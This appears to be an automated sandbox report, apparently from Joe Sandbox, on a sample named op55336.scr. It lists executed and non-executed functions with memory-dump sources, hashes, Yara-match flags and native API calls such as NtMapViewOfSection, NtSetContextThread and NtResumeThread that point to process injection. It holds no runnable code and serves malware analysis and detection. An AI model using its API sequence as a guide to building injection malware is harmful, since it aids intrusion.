Function 00153B90 Relevance: 1.6, APIs: 1, Instructions: 73threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 00153C0E

Memory Dump Source

Source File: 00000005.00000002.351459783.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_op55336.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 743be6606df287034e10cc815a44d4e34f1bb4f45f713386cb49a93d6645ef0b
Instruction ID: c67d6dc917431435122df5d2df9edf78e80788ca774db3bb6e81b44cf67869d2
Opcode Fuzzy Hash: 743be6606df287034e10cc815a44d4e34f1bb4f45f713386cb49a93d6645ef0b
Instruction Fuzzy Hash: 8F31CCB4D00218DFCB10CFA9D984AEEFBB4AF89350F20942AE824B7310C734AA45CF54

Uniqueness

Uniqueness Score: -1.00%

Function 000BD4CC Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.351370168.00000000000BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 000BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_bd000_op55336.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23ae6f679befdde768aac3d75a85e9b169886b535f84219024b8aa8e141589a3
Instruction ID: 40ef1b3d8c1d240dc357a3d3fccb97e20acdf531f4e81441ccb7f1bb4e122dd3
Opcode Fuzzy Hash: 23ae6f679befdde768aac3d75a85e9b169886b535f84219024b8aa8e141589a3
Instruction Fuzzy Hash: 81210371504240DFEB25DF10D8C4BAAFFA5FB94328F34C56AD8050B246D336D956CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 000BD4C7 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.351370168.00000000000BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 000BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_bd000_op55336.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c2a7613c0a56ce3c9cbe3d081ed45b9d684030b97154731165a9db01cb31c8c
Instruction ID: 2af4d3ec581eb2a8c52ed98e223279d88d19e6a5529bada3780a4ab498db61b1
Opcode Fuzzy Hash: 7c2a7613c0a56ce3c9cbe3d081ed45b9d684030b97154731165a9db01cb31c8c
Instruction Fuzzy Hash: 2911B176504680CFDB15CF10D9C4B56FFB2FB94314F24C6AAD8094B256C33AD95ACBA2

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: op55336.scrPID: 3224, Parent PID: 3192COMMON

Execution Graph

Execution Coverage:	1.6%
Dynamic/Decrypted Code Coverage:	2%
Signature Coverage:	14.2%
Total number of Nodes:	253
Total number of Limit Nodes:	26

Executed Functions

Function 0040B2E3 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 186
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtMapViewOfSection.NTDLL(?,00000000,00000000,00000000,?,?,00000000,?,4q@,?,?,?,00000000), ref: 0040B44D

Strings

4q@, xrefs: 0040B4FC
4q@, xrefs: 0040B429, 0040B42C

Memory Dump Source

Source File: 00000006.00000002.412838071.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_op55336.jbxd

Yara matches

Similarity

API ID: SectionView
String ID: 4q@$4q@
API String ID: 1323581903-352822288
Opcode ID: c8cf07480daa701a2a6a95d8220c56878a179f3d73bf5b45c1068934c0e84736
Instruction ID: 4f0a1b00017ecff07558768542bc8224e4be8ae8b3833d489124d6a477246c7f
Opcode Fuzzy Hash: c8cf07480daa701a2a6a95d8220c56878a179f3d73bf5b45c1068934c0e84736
Instruction Fuzzy Hash: 16711C71E04158DFCB04CFA9C990AEDBBF5AF49304F18816AE859B7341D738AA45CF98

Uniqueness

Uniqueness Score: -1.00%

Function 0040B513 Relevance: 1.7, APIs: 1, Instructions: 188
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateFile.NTDLL(?,?,?,?,?,?,00000000,?,?,?,?), ref: 0040B681

Memory Dump Source

Source File: 00000006.00000002.412838071.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_op55336.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: d675ffe184b4cf3df129620c1f37ed63615b89ad24ad60a713524158cd36fee6
Instruction ID: 33bbf8d930d8e7cfe3f019b155e8ea3f1efd11963211b11a84fa3dbb01a3117a
Opcode Fuzzy Hash: d675ffe184b4cf3df129620c1f37ed63615b89ad24ad60a713524158cd36fee6
Instruction Fuzzy Hash: 1C813D71E041589FCB04CFA9C990AEDBBF5AF49304F18816AE459B7341D738A941CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0040B743 Relevance: 1.7, APIs: 1, Instructions: 184
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtReadFile.NTDLL(?,?,?,?,?,?,00000000,?,?), ref: 0040B8A9

Memory Dump Source

Source File: 00000006.00000002.412838071.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_op55336.jbxd

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 7406610fe4a71597561f2b8bae0021fa1a59eb1c802fb029ede16d8a052d8adc
Instruction ID: d5ca7a445566d5324237c67d8bda7c3d62ebcdba52f65f536e33ce5b52a41de4
Opcode Fuzzy Hash: 7406610fe4a71597561f2b8bae0021fa1a59eb1c802fb029ede16d8a052d8adc
Instruction Fuzzy Hash: 6B713BB1E14158DBCB04CFA9C890AEDBBF5BF49304F18816AE859B7351D338A945CF98

Uniqueness

Uniqueness Score: -1.00%

Function 0040B0C3 Relevance: 1.7, APIs: 1, Instructions: 180
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateSection.NTDLL(?,00000000,000F001F,?,?,004070F1,00000000,?,?,08000000), ref: 0040B221

Memory Dump Source

Source File: 00000006.00000002.412838071.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_op55336.jbxd

Yara matches

Similarity

API ID: CreateSection
String ID:
API String ID: 2449625523-0
Opcode ID: adff89788c227dfb02b330619a6bccec0f9c373fd36e43cb928eaab211708a8b
Instruction ID: 01317c8874684397ccd25c89dd95e7ea8e4a3edbd884f59941ddaf063ff58e3a
Opcode Fuzzy Hash: adff89788c227dfb02b330619a6bccec0f9c373fd36e43cb928eaab211708a8b
Instruction Fuzzy Hash: CD712C71D14158DFCB05CFA9C890AEDBBB1BF49304F1881AAE859B7341D738A946CF98

Uniqueness

Uniqueness Score: -1.00%

Function 0040BFD3 Relevance: 1.7, APIs: 1, Instructions: 178
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAllocateVirtualMemory.NTDLL(?,?,?,?,?,?), ref: 0040C12D

Memory Dump Source

Source File: 00000006.00000002.412838071.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_op55336.jbxd

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: af22745c9356b21275a4ed7ec95143a4cc00c792e14a36387ff7ba92eb16b96b
Instruction ID: 8143565c1ed0993058e6d586fa4036d4e587653beb669d54d7f95b9336940cd5
Opcode Fuzzy Hash: af22745c9356b21275a4ed7ec95143a4cc00c792e14a36387ff7ba92eb16b96b
Instruction Fuzzy Hash: 62712F71E04158DFCB04CFA9C890AEDBBF1BF49304F18816AE859BB341D638A946CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0040AA93 Relevance: 1.7, APIs: 1, Instructions: 170
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtSetContextThread.NTDLL(?,?), ref: 0040ABDD

Memory Dump Source

Source File: 00000006.00000002.412838071.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_op55336.jbxd

Yara matches

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: 7d3590489634a5643a165557ae1e62707ac94800af8139a2bf38665b0a25d032
Instruction ID: d4e5869915a99125bcdad7944eea00a2bf72dfbca1512e106d76b181c7b9fddb
Opcode Fuzzy Hash: 7d3590489634a5643a165557ae1e62707ac94800af8139a2bf38665b0a25d032
Instruction Fuzzy Hash: DC718F71E04258DFCB04CFA9C490AEDBBF2BF49304F18806AE419BB341D638A956DF55

Uniqueness

Uniqueness Score: -1.00%

Function 0040BBB3 Relevance: 1.7, APIs: 1, Instructions: 170
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDelayExecution.NTDLL(0041C291,?,?,?,00000000), ref: 0040BCFE

Memory Dump Source

Source File: 00000006.00000002.412838071.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_op55336.jbxd

Yara matches

Similarity

API ID: DelayExecution
String ID:
API String ID: 1249177460-0
Opcode ID: 10f784cb7a7465b49218334df4e70ac1398cacb19b884e6fb5fd4ed04110ac16
Instruction ID: 224df048350992204dea636a9cf2136097186a6e34023e583b2a4fcadb8b91eb
Opcode Fuzzy Hash: 10f784cb7a7465b49218334df4e70ac1398cacb19b884e6fb5fd4ed04110ac16
Instruction Fuzzy Hash: CC712E71E04258DFCB05CFA9C490AEDBBF1AF49304F1880AAE855B7341D738AA45DF99

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACA3 Relevance: 1.7, APIs: 1, Instructions: 170
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtResumeThread.NTDLL(004071D5,?,?,?,?), ref: 0040ADED

Memory Dump Source

Source File: 00000006.00000002.412838071.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_op55336.jbxd

Yara matches

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: e82c6908598d20ec0be45675678c3b10373641ab3eec8e70e69c302ce30f2250
Instruction ID: b6f10511c00207d67f0fbc32bcefce55cc479fdc692c5c7557564370438ddd56
Opcode Fuzzy Hash: e82c6908598d20ec0be45675678c3b10373641ab3eec8e70e69c302ce30f2250
Instruction Fuzzy Hash: D3715F71E04258DFCB04CFA9C890AEDBBF2BF49304F18806AE859B7341D638A955CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0040A673 Relevance: 1.7, APIs: 1, Instructions: 170
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtSuspendThread.NTDLL(?,?), ref: 0040A7BD

Memory Dump Source

Source File: 00000006.00000002.412838071.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_op55336.jbxd

Yara matches

Similarity

API ID: SuspendThread
String ID:
API String ID: 3178671153-0
Opcode ID: df1744cd3ab3c9e63664b9d7c7920faaf1bd56dff2a6f15b324ade073ee0abe8
Instruction ID: e0512f439ae47d9be5cbe886a187579ca4bcb7003b3baa994f3caa2f25e50319
Opcode Fuzzy Hash: df1744cd3ab3c9e63664b9d7c7920faaf1bd56dff2a6f15b324ade073ee0abe8
Instruction Fuzzy Hash: 95714F75E04258DFCB04CFA9C490AEDBBF1BF49304F1880AAE859B7341D638A956CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00418BA3 Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00418C15

Memory Dump Source

Source File: 00000006.00000002.412838071.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_op55336.jbxd

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 1ece3eff7ef69611ee126556be6f4899efe61f532828b703a8cdf4cdaaeb4af3
Instruction ID: 3a7d3c80330e5758b3a9f81f32ca88ff767ca5b188dc6faacfe14b01834f0b54
Opcode Fuzzy Hash: 1ece3eff7ef69611ee126556be6f4899efe61f532828b703a8cdf4cdaaeb4af3
Instruction Fuzzy Hash: 470152B5E0010DB7DB10DAE5DD42FDEB7789B54308F0081AAE90897240F635EB588795

Uniqueness

Uniqueness Score: -1.00%

Function 0042BF43 Relevance: 1.5, APIs: 1, Instructions: 25nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(?), ref: 0042BF73

Memory Dump Source

Source File: 00000006.00000002.412838071.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_op55336.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 798d9c3876bce148b54ee63ea797cdf3a6eb52ae3eb05a8af88ddaea95a2db47
Instruction ID: d89d2c0c652fac5e8b7a6d34093b53a94ebb12e8b588f04006b5246e933adf9e
Opcode Fuzzy Hash: 798d9c3876bce148b54ee63ea797cdf3a6eb52ae3eb05a8af88ddaea95a2db47
Instruction Fuzzy Hash: DBE08C723402187BC620EA5ADC42F9BB7ADDFC5B14F01405AFA08A7281D6B0B9108BF4

Uniqueness

Uniqueness Score: -1.00%

Function 00EA07AC Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00EA07B7

Memory Dump Source

Source File: 00000006.00000002.415689767.0000000000E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.415689767.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000FF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_op55336.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 154562b1c1044579d2961e918a12e94c940bf0a0b9e8e44222bba29e99ad0489
Instruction ID: cdb92b4df541c6703467cf01e2fb590a315ac15b2f911c24ec3250dccee83ae6
Opcode Fuzzy Hash: 154562b1c1044579d2961e918a12e94c940bf0a0b9e8e44222bba29e99ad0489
Instruction Fuzzy Hash: 64B01272200540C7E3099724D906B4B7310FB80F00F008D3AE04781892DB78992CD487

Uniqueness

Uniqueness Score: -1.00%

Function 00E9F9F0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00E9F9FB

Memory Dump Source

Source File: 00000006.00000002.415689767.0000000000E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.415689767.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000FF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_op55336.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 14ba51ac3c4685a444062647e83330cf6da9a5db4e41c8a362ae144bb3555ef6
Instruction ID: 864711eabb7dc0f9c0a00528bc7204798e3bbfe8ecaf20bba7921b9fd7ea0c89
Opcode Fuzzy Hash: 14ba51ac3c4685a444062647e83330cf6da9a5db4e41c8a362ae144bb3555ef6
Instruction Fuzzy Hash: B8B012B2200640C7F3199714D90AF4BB310FBD0F00F00CA3AA00781890DA3C992CC44A

Uniqueness

Uniqueness Score: -1.00%

Function 00E9FAE8 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00E9FAF3

Memory Dump Source

Source File: 00000006.00000002.415689767.0000000000E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.415689767.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000FF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_op55336.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 34a2345e9ef716244e2d46a9efe759ea4b84b9c33e8f95bda4e579fccc15316f
Instruction ID: bb22edd625d441e86b4201bf2007cb1784deb073e32f09f3a807e6c8f80ed535
Opcode Fuzzy Hash: 34a2345e9ef716244e2d46a9efe759ea4b84b9c33e8f95bda4e579fccc15316f
Instruction Fuzzy Hash: ACB01272104544C7F3099714ED06B8B7210FB80F00F00893AA007828A1DB39992CE456

Uniqueness

Uniqueness Score: -1.00%

Function 00E9FB68 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00E9FB73

Memory Dump Source

Source File: 00000006.00000002.415689767.0000000000E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.415689767.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000FF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_op55336.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9be46aa23fef74e92aa7046bff19981ac9c85faae99787f44d25aa72a03369f2
Instruction ID: fe3894545e6d7ff35e2d014bd1b41c27fc981d7cba2425ddd0908e3dd582fca9
Opcode Fuzzy Hash: 9be46aa23fef74e92aa7046bff19981ac9c85faae99787f44d25aa72a03369f2
Instruction Fuzzy Hash: 17B01272100544C7E3099714D906B8B7210FB80F00F008E3AA04782991DB78992DE446

Uniqueness

Uniqueness Score: -1.00%

Function 00E9FDC0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00E9FDCB

Memory Dump Source

Source File: 00000006.00000002.415689767.0000000000E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.415689767.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000FF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_op55336.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3c5c70486422d4cf76ce1f9e49ddc8b8cfc879bf3efb7896afe645da2070dab7
Instruction ID: d88988b585cc81dca5f800d6bb39f1198a76ae257c125849f4a62a02810904f6
Opcode Fuzzy Hash: 3c5c70486422d4cf76ce1f9e49ddc8b8cfc879bf3efb7896afe645da2070dab7
Instruction Fuzzy Hash: 20B01272140540C7E30A9714DA56B4B7220FB80F40F008D3AA04781891DBB89B2CD486

Uniqueness

Uniqueness Score: -1.00%

Function 0041538D Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 62
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(13d6pS3,00000111,00000000,00000000), ref: 0041540A

Strings

13d6pS3, xrefs: 00415411, 00415414
13d6pS3, xrefs: 004153FF, 00415409, 0041541A
'oN, xrefs: 0041538D

Memory Dump Source

Source File: 00000006.00000002.412838071.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_op55336.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID: 'oN$13d6pS3$13d6pS3
API String ID: 1836367815-4202519509
Opcode ID: abe8662b7715577a4b67e00549239f0ae9c7219e6112b4b4964fce852ca0655b
Instruction ID: fe34e254e3c78a2d2e75bf211c42e0671cebaf8842b7d31fa9d3e155b3f4b5cb
Opcode Fuzzy Hash: abe8662b7715577a4b67e00549239f0ae9c7219e6112b4b4964fce852ca0655b
Instruction Fuzzy Hash: E4012BB1E0011CBADB11BAE19C81DEFBB7CDF81398F408029FA14B7140E6785F058BA1

Uniqueness

Uniqueness Score: -1.00%

Function 00415393 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(13d6pS3,00000111,00000000,00000000), ref: 0041540A

Strings

13d6pS3, xrefs: 00415411, 00415414
13d6pS3, xrefs: 004153FF, 00415409, 0041541A

Memory Dump Source

Source File: 00000006.00000002.412838071.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_op55336.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID: 13d6pS3$13d6pS3
API String ID: 1836367815-3378015834
Opcode ID: 2a18f07d3b58b25007c1776e027721ed4c3c70ecef04641e0f5be156848a558b
Instruction ID: 3a74e114496ce0711f9fc21398a0d08397c93f4088640f40c2c0ae561a51f52a
Opcode Fuzzy Hash: 2a18f07d3b58b25007c1776e027721ed4c3c70ecef04641e0f5be156848a558b
Instruction Fuzzy Hash: 45012BB1E0011CBADB01BAE19C81DEF7B7CDF81398F408029FA1477140D6785F058BA1

Uniqueness

Uniqueness Score: -1.00%

Function 0042C1F3 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,0041F3AB,?,?,00000000,?,0041F3AB,?,?,?), ref: 0042C22E

Memory Dump Source

Source File: 00000006.00000002.412838071.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_op55336.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 1cd7afffb4599489c2e922e741e5df127c6c52b9574b0e89c0ec541112c06f1e
Instruction ID: d3d283629ae7dbb578c3361da26e2255cf3ead57a8e0f8df25f3f891fe741430
Opcode Fuzzy Hash: 1cd7afffb4599489c2e922e741e5df127c6c52b9574b0e89c0ec541112c06f1e
Instruction Fuzzy Hash: 48E09AB1300204BFDA10EE99EC41E9B77ADEFC9710F00001AFD08A7282CA70BD108BB9

Uniqueness

Uniqueness Score: -1.00%

Function 0042C243 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000004,00000000,FC5D89F8,00000007,00000000,00000004,00000000,004185EF,000000F0,?,?,?,?,?), ref: 0042C27E

Memory Dump Source

Source File: 00000006.00000002.412838071.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_op55336.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 84c9b89b4cdf1f602563f4f89da99040e5f52e99967f744197380856f61d1e48
Instruction ID: c9dcfcbd2332931f1569d3fe54102bcbb547f49f7c4da694ae441fffeaf01cfd
Opcode Fuzzy Hash: 84c9b89b4cdf1f602563f4f89da99040e5f52e99967f744197380856f61d1e48
Instruction Fuzzy Hash: 40E092753442047BC610EE5ADC42F9B73ADEFC5710F000419FD08A7241C670B9208BB8

Uniqueness

Uniqueness Score: -1.00%

Function 0042C293 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

ExitProcess.KERNELBASE(?,00000000,?,?,39D1C69F,?,?,39D1C69F), ref: 0042C2CA

Memory Dump Source

Source File: 00000006.00000002.412838071.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_op55336.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 350054d7e724a5522385e81d2f9e3944af108638e355487cb8015eeb31deba3a
Instruction ID: 632e54142e25fb71edcd38b63f987ef404ae7833aca244d52deb45822a5d22ed
Opcode Fuzzy Hash: 350054d7e724a5522385e81d2f9e3944af108638e355487cb8015eeb31deba3a
Instruction Fuzzy Hash: 5CE04F752402147BC520EA5ADC41F9B775DDFC5714F004019FA0867142CAB479158BE5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00E90080 Relevance: 1.3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

Strings

[Pj, xrefs: 00E900D5, 00E900C7

Memory Dump Source

Source File: 00000006.00000002.415689767.0000000000E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.415689767.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000FF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_op55336.jbxd

Similarity

API ID:
String ID: [Pj
API String ID: 0-2289356113
Opcode ID: 27ae018e16d23a04be0202338ce038b366df44a43126288a574badd82aab0704
Instruction ID: 82301c17b6ea649db4769ffc93e25afe3e0c224eaa9e840b40d9d5674297b156
Opcode Fuzzy Hash: 27ae018e16d23a04be0202338ce038b366df44a43126288a574badd82aab0704
Instruction Fuzzy Hash: 03F062312043447FDB21AA20CC85F2A7BA9AF85754F549818F8457A093C7669821E721

Uniqueness

Uniqueness Score: -1.00%

Function 00EB26F8 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.415689767.0000000000E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.415689767.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
